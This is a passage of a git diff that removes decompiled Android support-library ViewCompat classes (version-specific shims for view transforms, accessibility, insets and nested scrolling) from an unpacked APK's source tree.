} - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setScrollIndicators(View view, int i) { - ViewCompatMarshmallow.setScrollIndicators(view, i); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setScrollIndicators(View view, int i, int i2) { - ViewCompatMarshmallow.setScrollIndicators(view, i, i2); - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public int getScrollIndicators(View view) { - return ViewCompatMarshmallow.getScrollIndicators(view); - } - - @Override // android.support.v4.view.ViewCompat.LollipopViewCompatImpl, android.support.v4.view.ViewCompat.HCViewCompatImpl, android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void offsetLeftAndRight(View view, int i) { - ViewCompatMarshmallow.offsetLeftAndRight(view, i); - } - - @Override // android.support.v4.view.ViewCompat.LollipopViewCompatImpl, android.support.v4.view.ViewCompat.HCViewCompatImpl, android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void offsetTopAndBottom(View view, int i) { - ViewCompatMarshmallow.offsetTopAndBottom(view, i); - } - } - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - static class Api24ViewCompatImpl extends MarshmallowViewCompatImpl { - Api24ViewCompatImpl() { - } - - @Override // android.support.v4.view.ViewCompat.BaseViewCompatImpl, android.support.v4.view.ViewCompat.ViewCompatImpl - public void setPointerIcon(View view, PointerIconCompat pointerIconCompat) { - ViewCompatApi24.setPointerIcon(view, pointerIconCompat.getPointerIcon()); - } - } - - static { - if (BuildCompat.isAtLeastN()) { - IMPL = new Api24ViewCompatImpl(); - } else { - IMPL = new MarshmallowViewCompatImpl(); - } - } - - public static boolean canScrollHorizontally(View view, int i) { - return IMPL.canScrollHorizontally(view, i); - } - - public static boolean canScrollVertically(View view, int i) { - return IMPL.canScrollVertically(view, i); - } - - @Deprecated - public static int getOverScrollMode(View view) { - return view.getOverScrollMode(); - } - - @Deprecated - public static void setOverScrollMode(View view, int i) { - view.setOverScrollMode(i); - } - - public static void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - IMPL.onPopulateAccessibilityEvent(view, accessibilityEvent); - } - - public static void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - IMPL.onInitializeAccessibilityEvent(view, accessibilityEvent); - } - - public static void onInitializeAccessibilityNodeInfo(View view, AccessibilityNodeInfoCompat accessibilityNodeInfoCompat) { - IMPL.onInitializeAccessibilityNodeInfo(view, accessibilityNodeInfoCompat); - } - - public static void setAccessibilityDelegate(View view, AccessibilityDelegateCompat accessibilityDelegateCompat) { - IMPL.setAccessibilityDelegate(view, accessibilityDelegateCompat); - } - - public static boolean hasAccessibilityDelegate(View view) { - return IMPL.hasAccessibilityDelegate(view); - } - - public static boolean hasTransientState(View view) { - return IMPL.hasTransientState(view); - } - - public static void setHasTransientState(View view, boolean z) { - IMPL.setHasTransientState(view, z); - } - - public static void postInvalidateOnAnimation(View view) { - IMPL.postInvalidateOnAnimation(view); - } - - public static void postInvalidateOnAnimation(View view, int i, int i2, int i3, int i4) { - IMPL.postInvalidateOnAnimation(view, i, i2, i3, i4); - } - - public static void postOnAnimation(View view, Runnable runnable) { - IMPL.postOnAnimation(view, runnable); - } - - public static void postOnAnimationDelayed(View view, Runnable runnable, long j) { - IMPL.postOnAnimationDelayed(view, runnable, j); - } - - public static int getImportantForAccessibility(View view) { - return IMPL.getImportantForAccessibility(view); - } - - public static void setImportantForAccessibility(View view, int i) { - IMPL.setImportantForAccessibility(view, i); - } - - public static boolean isImportantForAccessibility(View view) { - return IMPL.isImportantForAccessibility(view); - } - - public static boolean performAccessibilityAction(View view, int i, Bundle bundle) { - return IMPL.performAccessibilityAction(view, i, bundle); - } - - public static AccessibilityNodeProviderCompat getAccessibilityNodeProvider(View view) { - return IMPL.getAccessibilityNodeProvider(view); - } - - public static float getAlpha(View view) { - return IMPL.getAlpha(view); - } - - public static void setLayerType(View view, int i, Paint paint) { - IMPL.setLayerType(view, i, paint); - } - - public static int getLayerType(View view) { - return IMPL.getLayerType(view); - } - - public static int getLabelFor(View view) { - return IMPL.getLabelFor(view); - } - - public static void setLabelFor(View view, int i) { - IMPL.setLabelFor(view, i); - } - - public static void setLayerPaint(View view, Paint paint) { - IMPL.setLayerPaint(view, paint); - } - - public static int getLayoutDirection(View view) { - return IMPL.getLayoutDirection(view); - } - - public static void setLayoutDirection(View view, int i) { - IMPL.setLayoutDirection(view, i); - } - - public static ViewParent getParentForAccessibility(View view) { - return IMPL.getParentForAccessibility(view); - } - - @Deprecated - public static boolean isOpaque(View view) { - return view.isOpaque(); - } - - public static int resolveSizeAndState(int i, int i2, int i3) { - return IMPL.resolveSizeAndState(i, i2, i3); - } - - public static int getMeasuredWidthAndState(View view) { - return IMPL.getMeasuredWidthAndState(view); - } - - public static int getMeasuredHeightAndState(View view) { - return IMPL.getMeasuredHeightAndState(view); - } - - public static int getMeasuredState(View view) { - return IMPL.getMeasuredState(view); - } - - public static int combineMeasuredStates(int i, int i2) { - return IMPL.combineMeasuredStates(i, i2); - } - - public static int getAccessibilityLiveRegion(View view) { - return IMPL.getAccessibilityLiveRegion(view); - } - - public static void setAccessibilityLiveRegion(View view, int i) { - IMPL.setAccessibilityLiveRegion(view, i); - } - - public static int getPaddingStart(View view) { - return IMPL.getPaddingStart(view); - } - - public static int getPaddingEnd(View view) { - return IMPL.getPaddingEnd(view); - } - - public static void setPaddingRelative(View view, int i, int i2, int i3, int i4) { - IMPL.setPaddingRelative(view, i, i2, i3, i4); - } - - public static void dispatchStartTemporaryDetach(View view) { - IMPL.dispatchStartTemporaryDetach(view); - } - - public static void dispatchFinishTemporaryDetach(View view) { - IMPL.dispatchFinishTemporaryDetach(view); - } - - public static float getTranslationX(View view) { - return IMPL.getTranslationX(view); - } - - public static float getTranslationY(View view) { - return IMPL.getTranslationY(view); - } - - public static Matrix getMatrix(View view) { - return IMPL.getMatrix(view); - } - - public static int getMinimumWidth(View view) { - return IMPL.getMinimumWidth(view); - } - - public static int getMinimumHeight(View view) { - return IMPL.getMinimumHeight(view); - } - - public static ViewPropertyAnimatorCompat animate(View view) { - return IMPL.animate(view); - } - - public static void setTranslationX(View view, float f) { - IMPL.setTranslationX(view, f); - } - - public static void setTranslationY(View view, float f) { - IMPL.setTranslationY(view, f); - } - - public static void setAlpha(View view, float f) { - IMPL.setAlpha(view, f); - } - - public static void setX(View view, float f) { - IMPL.setX(view, f); - } - - public static void setY(View view, float f) { - IMPL.setY(view, f); - } - - public static void setRotation(View view, float f) { - IMPL.setRotation(view, f); - } - - public static void setRotationX(View view, float f) { - IMPL.setRotationX(view, f); - } - - public static void setRotationY(View view, float f) { - IMPL.setRotationY(view, f); - } - - public static void setScaleX(View view, float f) { - IMPL.setScaleX(view, f); - } - - public static void setScaleY(View view, float f) { - IMPL.setScaleY(view, f); - } - - public static float getPivotX(View view) { - return IMPL.getPivotX(view); - } - - public static void setPivotX(View view, float f) { - IMPL.setPivotX(view, f); - } - - public static float getPivotY(View view) { - return IMPL.getPivotY(view); - } - - public static void setPivotY(View view, float f) { - IMPL.setPivotY(view, f); - } - - public static float getRotation(View view) { - return IMPL.getRotation(view); - } - - public static float getRotationX(View view) { - return IMPL.getRotationX(view); - } - - public static float getRotationY(View view) { - return IMPL.getRotationY(view); - } - - public static float getScaleX(View view) { - return IMPL.getScaleX(view); - } - - public static float getScaleY(View view) { - return IMPL.getScaleY(view); - } - - public static float getX(View view) { - return IMPL.getX(view); - } - - public static float getY(View view) { - return IMPL.getY(view); - } - - public static void setElevation(View view, float f) { - IMPL.setElevation(view, f); - } - - public static float getElevation(View view) { - return IMPL.getElevation(view); - } - - public static void setTranslationZ(View view, float f) { - IMPL.setTranslationZ(view, f); - } - - public static float getTranslationZ(View view) { - return IMPL.getTranslationZ(view); - } - - public static void setTransitionName(View view, String str) { - IMPL.setTransitionName(view, str); - } - - public static String getTransitionName(View view) { - return IMPL.getTransitionName(view); - } - - public static int getWindowSystemUiVisibility(View view) { - return IMPL.getWindowSystemUiVisibility(view); - } - - public static void requestApplyInsets(View view) { - IMPL.requestApplyInsets(view); - } - - public static void setChildrenDrawingOrderEnabled(ViewGroup viewGroup, boolean z) { - IMPL.setChildrenDrawingOrderEnabled(viewGroup, z); - } - - public static boolean getFitsSystemWindows(View view) { - return IMPL.getFitsSystemWindows(view); - } - - public static void setFitsSystemWindows(View view, boolean z) { - IMPL.setFitsSystemWindows(view, z); - } - - public static void jumpDrawablesToCurrentState(View view) { - IMPL.jumpDrawablesToCurrentState(view); - } - - public static void setOnApplyWindowInsetsListener(View view, OnApplyWindowInsetsListener onApplyWindowInsetsListener) { - IMPL.setOnApplyWindowInsetsListener(view, onApplyWindowInsetsListener); - } - - public static WindowInsetsCompat onApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) { - return IMPL.onApplyWindowInsets(view, windowInsetsCompat); - } - - public static WindowInsetsCompat dispatchApplyWindowInsets(View view, WindowInsetsCompat windowInsetsCompat) { - return IMPL.dispatchApplyWindowInsets(view, windowInsetsCompat); - } - - public static void setSaveFromParentEnabled(View view, boolean z) { - IMPL.setSaveFromParentEnabled(view, z); - } - - public static void setActivated(View view, boolean z) { - IMPL.setActivated(view, z); - } - - public static boolean hasOverlappingRendering(View view) { - return IMPL.hasOverlappingRendering(view); - } - - public static boolean isPaddingRelative(View view) { - return IMPL.isPaddingRelative(view); - } - - public static ColorStateList getBackgroundTintList(View view) { - return IMPL.getBackgroundTintList(view); - } - - public static void setBackgroundTintList(View view, ColorStateList colorStateList) { - IMPL.setBackgroundTintList(view, colorStateList); - } - - public static PorterDuff.Mode getBackgroundTintMode(View view) { - return IMPL.getBackgroundTintMode(view); - } - - public static void setBackgroundTintMode(View view, PorterDuff.Mode mode) { - IMPL.setBackgroundTintMode(view, mode); - } - - public static void setNestedScrollingEnabled(View view, boolean z) { - IMPL.setNestedScrollingEnabled(view, z); - } - - public static boolean isNestedScrollingEnabled(View view) { - return IMPL.isNestedScrollingEnabled(view); - } - - public static boolean startNestedScroll(View view, int i) { - return IMPL.startNestedScroll(view, i); - } - - public static void stopNestedScroll(View view) { - IMPL.stopNestedScroll(view); - } - - public static boolean hasNestedScrollingParent(View view) { - return IMPL.hasNestedScrollingParent(view); - } - - public static boolean dispatchNestedScroll(View view, int i, int i2, int i3, int i4, int[] iArr) { - return IMPL.dispatchNestedScroll(view, i, i2, i3, i4, iArr); - } - - public static boolean dispatchNestedPreScroll(View view, int i, int i2, int[] iArr, int[] iArr2) { - return IMPL.dispatchNestedPreScroll(view, i, i2, iArr, iArr2); - } - - public static boolean dispatchNestedFling(View view, float f, float f2, boolean z) { - return IMPL.dispatchNestedFling(view, f, f2, z); - } - - public static boolean dispatchNestedPreFling(View view, float f, float f2) { - return IMPL.dispatchNestedPreFling(view, f, f2); - } - - public static boolean isInLayout(View view) { - return IMPL.isInLayout(view); - } - - public static boolean isLaidOut(View view) { - return IMPL.isLaidOut(view); - } - - public static boolean isLayoutDirectionResolved(View view) { - return IMPL.isLayoutDirectionResolved(view); - } - - public static float getZ(View view) { - return IMPL.getZ(view); - } - - public static void setZ(View view, float f) { - IMPL.setZ(view, f); - } - - public static void offsetTopAndBottom(View view, int i) { - IMPL.offsetTopAndBottom(view, i); - } - - public static void offsetLeftAndRight(View view, int i) { - IMPL.offsetLeftAndRight(view, i); - } - - public static void setClipBounds(View view, Rect rect) { - IMPL.setClipBounds(view, rect); - } - - public static Rect getClipBounds(View view) { - return IMPL.getClipBounds(view); - } - - public static boolean isAttachedToWindow(View view) { - return IMPL.isAttachedToWindow(view); - } - - public static boolean hasOnClickListeners(View view) { - return IMPL.hasOnClickListeners(view); - } - - public static void setScrollIndicators(View view, int i) { - IMPL.setScrollIndicators(view, i); - } - - public static void setScrollIndicators(View view, int i, int i2) { - IMPL.setScrollIndicators(view, i, i2); - } - - public static int getScrollIndicators(View view) { - return IMPL.getScrollIndicators(view); - } - - public static void setPointerIcon(View view, PointerIconCompat pointerIconCompat) { - IMPL.setPointerIcon(view, pointerIconCompat); - } - - protected ViewCompat() { - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatApi24.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatApi24.java deleted file mode 100644 index f9361dd..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatApi24.java +++ /dev/null @@ -1,13 +0,0 @@ -package android.support.v4.view; - -import android.view.PointerIcon; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatApi24 { - ViewCompatApi24() { - } - - public static void setPointerIcon(View view, Object obj) { - view.setPointerIcon((PointerIcon) obj); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatBase.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatBase.java deleted file mode 100644 index 97cc1d5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatBase.java +++ /dev/null @@ -1,132 +0,0 @@ -package android.support.v4.view; - -import android.content.res.ColorStateList; -import android.graphics.PorterDuff; -import android.view.View; -import android.view.ViewParent; -import java.lang.reflect.Field; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatBase { - private static final String TAG = "ViewCompatBase"; - private static Field sMinHeightField; - private static boolean sMinHeightFieldFetched; - private static Field sMinWidthField; - private static boolean sMinWidthFieldFetched; - - ViewCompatBase() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static ColorStateList getBackgroundTintList(View view) { - if (view instanceof TintableBackgroundView) { - return ((TintableBackgroundView) view).getSupportBackgroundTintList(); - } - return null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setBackgroundTintList(View view, ColorStateList colorStateList) { - if (view instanceof TintableBackgroundView) { - ((TintableBackgroundView) view).setSupportBackgroundTintList(colorStateList); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static PorterDuff.Mode getBackgroundTintMode(View view) { - if (view instanceof TintableBackgroundView) { - return ((TintableBackgroundView) view).getSupportBackgroundTintMode(); - } - return null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setBackgroundTintMode(View view, PorterDuff.Mode mode) { - if (view instanceof TintableBackgroundView) { - ((TintableBackgroundView) view).setSupportBackgroundTintMode(mode); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean isLaidOut(View view) { - return view.getWidth() > 0 && view.getHeight() > 0; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getMinimumWidth(View view) { - if (!sMinWidthFieldFetched) { - try { - Field declaredField = View.class.getDeclaredField("mMinWidth"); - sMinWidthField = declaredField; - declaredField.setAccessible(true); - } catch (NoSuchFieldException unused) { - } - sMinWidthFieldFetched = true; - } - Field field = sMinWidthField; - if (field != null) { - try { - return ((Integer) field.get(view)).intValue(); - } catch (Exception unused2) { - return 0; - } - } - return 0; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static int getMinimumHeight(View view) { - if (!sMinHeightFieldFetched) { - try { - Field declaredField = View.class.getDeclaredField("mMinHeight"); - sMinHeightField = declaredField; - declaredField.setAccessible(true); - } catch (NoSuchFieldException unused) { - } - sMinHeightFieldFetched = true; - } - Field field = sMinHeightField; - if (field != null) { - try { - return ((Integer) field.get(view)).intValue(); - } catch (Exception unused2) { - return 0; - } - } - return 0; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static boolean isAttachedToWindow(View view) { - return view.getWindowToken() != null; - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void offsetTopAndBottom(View view, int i) { - int top = view.getTop(); - view.offsetTopAndBottom(i); - if (i != 0) { - ViewParent parent = view.getParent(); - if (parent instanceof View) { - int abs = Math.abs(i); - ((View) parent).invalidate(view.getLeft(), top - abs, view.getRight(), top + view.getHeight() + abs); - return; - } - view.invalidate(); - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void offsetLeftAndRight(View view, int i) { - int left = view.getLeft(); - view.offsetLeftAndRight(i); - if (i != 0) { - ViewParent parent = view.getParent(); - if (parent instanceof View) { - int abs = Math.abs(i); - ((View) parent).invalidate(left - abs, view.getTop(), left + view.getWidth() + abs, view.getBottom()); - return; - } - view.invalidate(); - } - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatHC.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatHC.java deleted file mode 100644 index 823c600..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatHC.java +++ /dev/null @@ -1,187 +0,0 @@ -package android.support.v4.view; - -import android.animation.ValueAnimator; -import android.graphics.Matrix; -import android.graphics.Paint; -import android.view.View; -import android.view.ViewParent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatHC { - ViewCompatHC() { - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static long getFrameTime() { - return ValueAnimator.getFrameDelay(); - } - - public static float getAlpha(View view) { - return view.getAlpha(); - } - - public static void setLayerType(View view, int i, Paint paint) { - view.setLayerType(i, paint); - } - - public static int getLayerType(View view) { - return view.getLayerType(); - } - - public static int resolveSizeAndState(int i, int i2, int i3) { - return View.resolveSizeAndState(i, i2, i3); - } - - public static int getMeasuredWidthAndState(View view) { - return view.getMeasuredWidthAndState(); - } - - public static int getMeasuredHeightAndState(View view) { - return view.getMeasuredHeightAndState(); - } - - public static int getMeasuredState(View view) { - return view.getMeasuredState(); - } - - public static float getTranslationX(View view) { - return view.getTranslationX(); - } - - public static float getTranslationY(View view) { - return view.getTranslationY(); - } - - public static float getX(View view) { - return view.getX(); - } - - public static float getY(View view) { - return view.getY(); - } - - public static float getRotation(View view) { - return view.getRotation(); - } - - public static float getRotationX(View view) { - return view.getRotationX(); - } - - public static float getRotationY(View view) { - return view.getRotationY(); - } - - public static float getScaleX(View view) { - return view.getScaleX(); - } - - public static float getScaleY(View view) { - return view.getScaleY(); - } - - public static void setTranslationX(View view, float f) { - view.setTranslationX(f); - } - - public static void setTranslationY(View view, float f) { - view.setTranslationY(f); - } - - public static Matrix getMatrix(View view) { - return view.getMatrix(); - } - - public static void setAlpha(View view, float f) { - view.setAlpha(f); - } - - public static void setX(View view, float f) { - view.setX(f); - } - - public static void setY(View view, float f) { - view.setY(f); - } - - public static void setRotation(View view, float f) { - view.setRotation(f); - } - - public static void setRotationX(View view, float f) { - view.setRotationX(f); - } - - public static void setRotationY(View view, float f) { - view.setRotationY(f); - } - - public static void setScaleX(View view, float f) { - view.setScaleX(f); - } - - public static void setScaleY(View view, float f) { - view.setScaleY(f); - } - - public static void setPivotX(View view, float f) { - view.setPivotX(f); - } - - public static void setPivotY(View view, float f) { - view.setPivotY(f); - } - - public static float getPivotX(View view) { - return view.getPivotX(); - } - - public static float getPivotY(View view) { - return view.getPivotY(); - } - - public static void jumpDrawablesToCurrentState(View view) { - view.jumpDrawablesToCurrentState(); - } - - public static void setSaveFromParentEnabled(View view, boolean z) { - view.setSaveFromParentEnabled(z); - } - - public static void setActivated(View view, boolean z) { - view.setActivated(z); - } - - public static int combineMeasuredStates(int i, int i2) { - return View.combineMeasuredStates(i, i2); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void offsetTopAndBottom(View view, int i) { - view.offsetTopAndBottom(i); - if (view.getVisibility() == 0) { - tickleInvalidationFlag(view); - ViewParent parent = view.getParent(); - if (parent instanceof View) { - tickleInvalidationFlag((View) parent); - } - } - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void offsetLeftAndRight(View view, int i) { - view.offsetLeftAndRight(i); - if (view.getVisibility() == 0) { - tickleInvalidationFlag(view); - ViewParent parent = view.getParent(); - if (parent instanceof View) { - tickleInvalidationFlag((View) parent); - } - } - } - - private static void tickleInvalidationFlag(View view) { - float translationY = view.getTranslationY(); - view.setTranslationY(1.0f + translationY); - view.setTranslationY(translationY); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatICS.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatICS.java deleted file mode 100644 index a4b6fcc..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatICS.java +++ /dev/null @@ -1,38 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -import android.view.accessibility.AccessibilityEvent; -import android.view.accessibility.AccessibilityNodeInfo; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatICS { - ViewCompatICS() { - } - - public static boolean canScrollHorizontally(View view, int i) { - return view.canScrollHorizontally(i); - } - - public static boolean canScrollVertically(View view, int i) { - return view.canScrollVertically(i); - } - - public static void setAccessibilityDelegate(View view, Object obj) { - view.setAccessibilityDelegate((View.AccessibilityDelegate) obj); - } - - public static void onPopulateAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - view.onPopulateAccessibilityEvent(accessibilityEvent); - } - - public static void onInitializeAccessibilityEvent(View view, AccessibilityEvent accessibilityEvent) { - view.onInitializeAccessibilityEvent(accessibilityEvent); - } - - public static void onInitializeAccessibilityNodeInfo(View view, Object obj) { - view.onInitializeAccessibilityNodeInfo((AccessibilityNodeInfo) obj); - } - - public static void setFitsSystemWindows(View view, boolean z) { - view.setFitsSystemWindows(z); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatICSMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatICSMr1.java deleted file mode 100644 index e992ce5..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatICSMr1.java +++ /dev/null @@ -1,12 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatICSMr1 { - ViewCompatICSMr1() { - } - - public static boolean hasOnClickListeners(View view) { - return view.hasOnClickListeners(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJB.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJB.java deleted file mode 100644 index fc5dcf9..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJB.java +++ /dev/null @@ -1,74 +0,0 @@ -package android.support.v4.view; - -import android.os.Bundle; -import android.view.View; -import android.view.ViewParent; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatJB { - ViewCompatJB() { - } - - public static boolean hasTransientState(View view) { - return view.hasTransientState(); - } - - public static void setHasTransientState(View view, boolean z) { - view.setHasTransientState(z); - } - - public static void postInvalidateOnAnimation(View view) { - view.postInvalidateOnAnimation(); - } - - public static void postInvalidateOnAnimation(View view, int i, int i2, int i3, int i4) { - view.postInvalidate(i, i2, i3, i4); - } - - public static void postOnAnimation(View view, Runnable runnable) { - view.postOnAnimation(runnable); - } - - public static void postOnAnimationDelayed(View view, Runnable runnable, long j) { - view.postOnAnimationDelayed(runnable, j); - } - - public static int getImportantForAccessibility(View view) { - return view.getImportantForAccessibility(); - } - - public static void setImportantForAccessibility(View view, int i) { - view.setImportantForAccessibility(i); - } - - public static boolean performAccessibilityAction(View view, int i, Bundle bundle) { - return view.performAccessibilityAction(i, bundle); - } - - public static Object getAccessibilityNodeProvider(View view) { - return view.getAccessibilityNodeProvider(); - } - - public static ViewParent getParentForAccessibility(View view) { - return view.getParentForAccessibility(); - } - - public static int getMinimumWidth(View view) { - return view.getMinimumWidth(); - } - - public static int getMinimumHeight(View view) { - return view.getMinimumHeight(); - } - - public static void requestApplyInsets(View view) { - view.requestFitSystemWindows(); - } - - public static boolean getFitsSystemWindows(View view) { - return view.getFitsSystemWindows(); - } - - public static boolean hasOverlappingRendering(View view) { - return view.hasOverlappingRendering(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJellybeanMr1.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJellybeanMr1.java deleted file mode 100644 index bba722a..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJellybeanMr1.java +++ /dev/null @@ -1,49 +0,0 @@ -package android.support.v4.view; - -import android.graphics.Paint; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatJellybeanMr1 { - ViewCompatJellybeanMr1() { - } - - public static int getLabelFor(View view) { - return view.getLabelFor(); - } - - public static void setLabelFor(View view, int i) { - view.setLabelFor(i); - } - - public static void setLayerPaint(View view, Paint paint) { - view.setLayerPaint(paint); - } - - public static int getLayoutDirection(View view) { - return view.getLayoutDirection(); - } - - public static void setLayoutDirection(View view, int i) { - view.setLayoutDirection(i); - } - - public static int getPaddingStart(View view) { - return view.getPaddingStart(); - } - - public static int getPaddingEnd(View view) { - return view.getPaddingEnd(); - } - - public static void setPaddingRelative(View view, int i, int i2, int i3, int i4) { - view.setPaddingRelative(i, i2, i3, i4); - } - - public static int getWindowSystemUiVisibility(View view) { - return view.getWindowSystemUiVisibility(); - } - - public static boolean isPaddingRelative(View view) { - return view.isPaddingRelative(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJellybeanMr2.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJellybeanMr2.java deleted file mode 100644 index 275274f..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatJellybeanMr2.java +++ /dev/null @@ -1,21 +0,0 @@ -package android.support.v4.view; - -import android.graphics.Rect; -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatJellybeanMr2 { - ViewCompatJellybeanMr2() { - } - - public static Rect getClipBounds(View view) { - return view.getClipBounds(); - } - - public static void setClipBounds(View view, Rect rect) { - view.setClipBounds(rect); - } - - public static boolean isInLayout(View view) { - return view.isInLayout(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatKitKat.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatKitKat.java deleted file mode 100644 index e68f1d0..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatKitKat.java +++ /dev/null @@ -1,28 +0,0 @@ -package android.support.v4.view; - -import android.view.View; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatKitKat { - ViewCompatKitKat() { - } - - public static int getAccessibilityLiveRegion(View view) { - return view.getAccessibilityLiveRegion(); - } - - public static void setAccessibilityLiveRegion(View view, int i) { - view.setAccessibilityLiveRegion(i); - } - - public static boolean isLaidOut(View view) { - return view.isLaidOut(); - } - - public static boolean isAttachedToWindow(View view) { - return view.isAttachedToWindow(); - } - - public static boolean isLayoutDirectionResolved(View view) { - return view.isLayoutDirectionResolved(); - } -} diff --git a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatLollipop.java b/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatLollipop.java deleted file mode 100644 index 86733e7..0000000 --- a/apk_3230/decompiled_source/sources/android/support/v4/view/ViewCompatLollipop.java +++ /dev/null @@ -1,190 +0,0 @@ -package android.support.v4.view; - -import android.content.res.ColorStateList; -import android.graphics.PorterDuff; -import android.graphics.Rect; -import android.view.View; -import android.view.ViewParent; -import android.view.WindowInsets; -/* loaded from: /home/trevor/apk_decompile/classes.dex */ -class ViewCompatLollipop { - private static ThreadLocal sThreadLocalRect; - - /* loaded from: /home/trevor/apk_decompile/classes.dex */ - public interface OnApplyWindowInsetsListenerBridge { - Object onApplyWindowInsets(View view, Object obj); - } - - ViewCompatLollipop() { - } - - public static void setTransitionName(View view, String str) { - view.setTransitionName(str); - } - - public static String getTransitionName(View view) { - return view.getTransitionName(); - } - - public static void requestApplyInsets(View view) { - view.requestApplyInsets(); - } - - public static void setElevation(View view, float f) { - view.setElevation(f); - } - - public static float getElevation(View view) { - return view.getElevation(); - } - - public static void setTranslationZ(View view, float f) { - view.setTranslationZ(f); - } - - public static float getTranslationZ(View view) { - return view.getTranslationZ(); - } - - public static void setOnApplyWindowInsetsListener(View view, final OnApplyWindowInsetsListenerBridge onApplyWindowInsetsListenerBridge) { - if (onApplyWindowInsetsListenerBridge == null) { - view.setOnApplyWindowInsetsListener(null); - } else { - view.setOnApplyWindowInsetsListener(new View.OnApplyWindowInsetsListener() { // from class: android.support.v4.view.ViewCompatLollipop.1 - @Override // android.view.View.OnApplyWindowInsetsListener - public WindowInsets onApplyWindowInsets(View view2, WindowInsets windowInsets) { - return (WindowInsets) OnApplyWindowInsetsListenerBridge.this.onApplyWindowInsets(view2, windowInsets); - } - }); - } - } - - public static boolean isImportantForAccessibility(View view) { - return view.isImportantForAccessibility(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static ColorStateList getBackgroundTintList(View view) { - return view.getBackgroundTintList(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setBackgroundTintList(View view, ColorStateList colorStateList) { - view.setBackgroundTintList(colorStateList); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static PorterDuff.Mode getBackgroundTintMode(View view) { - return view.getBackgroundTintMode(); - } - - /* JADX INFO: Access modifiers changed from: package-private */ - public static void setBackgroundTintMode(View view, PorterDuff.Mode mode) { - view.setBackgroundTintMode(mode); - } - - public static Object onApplyWindowInsets(View view, Object obj) { - WindowInsets windowInsets = (WindowInsets) obj; - WindowInsets onApplyWindowInsets = view.onApplyWindowInsets(windowInsets); - return onApplyWindowInsets != windowInsets ? new WindowInsets(onApplyWindowInsets) : obj; - } - - public static Object dispatchApplyWindowInsets(View view, Object obj) { - WindowInsets windowInsets = (WindowInsets) obj; - WindowInsets 